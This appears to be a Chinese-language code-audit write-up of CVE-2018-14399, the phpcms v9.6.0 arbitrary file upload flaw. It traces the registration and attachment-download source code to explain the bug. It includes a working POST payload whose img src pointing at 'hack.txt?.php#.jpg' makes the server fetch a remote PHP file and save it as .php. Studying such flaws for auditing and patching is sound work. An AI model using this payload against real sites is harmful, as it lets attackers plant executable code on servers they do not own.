# CVE-2018-14399 (phpcms v9.6.0任意文件上傳漏洞)
###### tags: `CVE` `phpcms`
我這邊給出了一篇好文:(由於我太懶了)
https://cloud.tencent.com/developer/article/1802267
如果閱讀完後,在看我下面的分析出的其他重點會更清楚
創建一個
http://localhost/hack.txt
```
<?php phpinfo();?>
```
payload正常格式:
```
siteid=1&modelid=11&username=Tao123&password=7123456&email=Ta11o@qq.com&info[content]=<img src=http://localhost/hack.txt?.php#.jpg>&dosubmit=1&protocol=
```
注意因為 這次的payload 是在註冊階段,所以payload 每次都需要不同的個人資料
正常post包
```
siteid=1&
modelid=10&
username=333333&
password=333333&
pwdconfirm=333333&
email=333333%40gmail.com&
nickname=3333&
info[birthday]=2023-02-02&
dosubmit=同意注册协议,提交注册&
protocol=
```
payload:
```
siteid=1&
modelid=11&
username=Tao&
password=123456&
email=Tao@qq.com&
info[content]=<img src=http://localhost/hack.txt?.php#.jpg>&
dosubmit=1&
protocol=
```
不同之處
```
modelid=10
modelid=11
info[birthday]=2023-02-02&
info[content]=<img src=http://localhost/hack.txt?.php#.jpg>&
// 這邊無所謂
dosubmit=同意注册协议,提交注册
dosubmit=1
```
所以重點在於 modelid 和 info[]
先找到註冊的函數
phpcms/modules/member/index.php
搜尋 register(),並斷點 130 133 134 135 行
這邊全部都很重要,建議可以慢慢跟進摸索,
```php=
//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}
```
會跟到 caches/caches_model/caches_data/member_input.class.php
這個文件可以瀏覽一下關鍵都在這。
47行斷點
```php=
$func = $this->fields[$field]['formtype'];
```
正常數據 $func 會獲取到 同文件下的函數datetime
```php=
function datetime($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
if($setting['fieldtype']=='int') {
$value = strtotime($value);
}
return $value;
}
```
漏動作者竄改了 modelid=11
$func 會獲取到 同文件下的函數editor
```php=
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}
```
要想知道 modelid 10 跟 11 得差別。
就必須斷點多跟幾次
phpcms/modules/member/index.php
register函數 的130行
```
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
//這裡創建member_input過程 很重要
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}
```
跟蹤會走到這
caches/caches_model/caches_data/member_input.class.php
參數 modelid=10
```
function __construct($modelid) {
$this->db = pc_base::load_model('sitemodel_field_model');
$this->db_pre = $this->db->db_tablepre;
$this->modelid = $modelid;
$this->fields = getcache('model_field_'.$modelid,'model');
//初始化附件类
pc_base::load_sys_class('attachment','',0);
$this->siteid = param::get_cookie('siteid');
$this->attachment = new attachment('content','0',$this->siteid);
}
```
初始化 this 的屬性
db table = v9_model_field

也就是說他可能進sql 要拿資料,或是放資料
執行完後
fileds 是一個 array 其中一個元素 birthday 也是一個array
```
Array
(
[birthday] => Array
(
[fieldid] => 83
[modelid] => 10
[siteid] => 1
[field] => birthday
[name] => 生日
[tips] =>
[css] =>
[minlength] => 0
[maxlength] => 0
[pattern] =>
[errortips] => 生日格式错误
[formtype] => datetime
[setting] => array (
'fieldtype' => 'date',
'format' => 'Y-m-d',
'defaulttype' => '0',
)
[formattribute] =>
[unsetgroupids] =>
[unsetroleids] =>
[iscore] => 0
[issystem] => 0
[isunique] => 0
[isbase] => 0
[issearch] => 0
[isadd] => 1
[isfulltext] => 1
[isposition] => 0
[listorder] => 0
[disabled] => 0
[isomnipotent] => 0
[fieldtype] => date
[format] => Y-m-d
[defaulttype] => 0
)
)
```
這個 array 跟上圖 v9_model_field 一模一樣。
所以進 sql 是拿資料
所以目前為止我們知道 $func 為啥是 datatype()了
```php=
$func = $this->fields[$field]['formtype'];
```
之後f8慢慢跟完就會插入數據庫
1.插入一些東西

db table_name = v9_member
2.插入一些東西

db table_name = v9_member_detail
然後正常走完跳出成功訊息。 完成註冊
<br/>
<br/>
用POC 分析作者思路
他應該是找到了修改頭像的地方,雖然抓取圖片需要flash 插件(已經太老了),沒開啟,不過他應該是可以本地上傳,跟遠程抓圖片功能。
遠程抓圖片,肯定會下載到伺服器上,所以就尋找到了 editor 修改頭像的模組,
```php=
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}
```
裡面有個 download圖片的 function 最後回傳 download file 路徑。
```php=
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
```
思考一下既然這個函數可以利用,為啥作者不使用登入後狀態的修改圖像觸發,而是註冊時,竄改直接更換圖像
原因
正常註冊最後寫入的表是生日 v9_member_detail 欄位為 userid 跟 birthday
竄改後,寫入欄位 userid,content
content 就是那個下載文件的完整路徑
v9_member_detail 根本沒有 content 所以sql 語句會報錯。因此一舉兩得
如果不用註冊而是用登入後竄改資料,可能只能用暴力破解找到檔名
---
如果你繼續跟蹤下去download 函數,最後會看到
$upload_func 最後會是一個copy函數 你也可以不用去理解他,只要知道他從遠程下載了一個文件。
```
$upload_func = $this->upload_func;
```
其實漏洞作者很巧妙,下載外網圖片也無所謂,只要沒開啟文件包含,也沒利用點,重點是,他讓download 本應該下載圖片的函數,繞過層層過濾,最終可以下載非圖片的檔案,這才是厲害的地方。
例如
```
http://localhost/hack.txt?.php
```
1 .訪問後,不會被解釋為php檔,而是 txt檔。
2 . ?.php作為get參數 所以server 拿得到 txt 的內容,
3 . 但程式最後又把他變成.php 儲存
### 後記:
此次的文章,完全不知道要怎麼開頭,所以才附上其他大神的文章,有很多都是要實際操作,才能明白的,如果有不清楚地方請多多指教。
代碼審計小技巧:
1.找出 poc 與 正常資料流的差異
2.思考一下這個資料會大概去哪
3.只要用到 sql ,就可以關注特定的table
4.函數理解 -> 先看初始化 -> 在看return ->抓出大概在幹嘛
5.多跟幾次,熟悉一下關鍵點。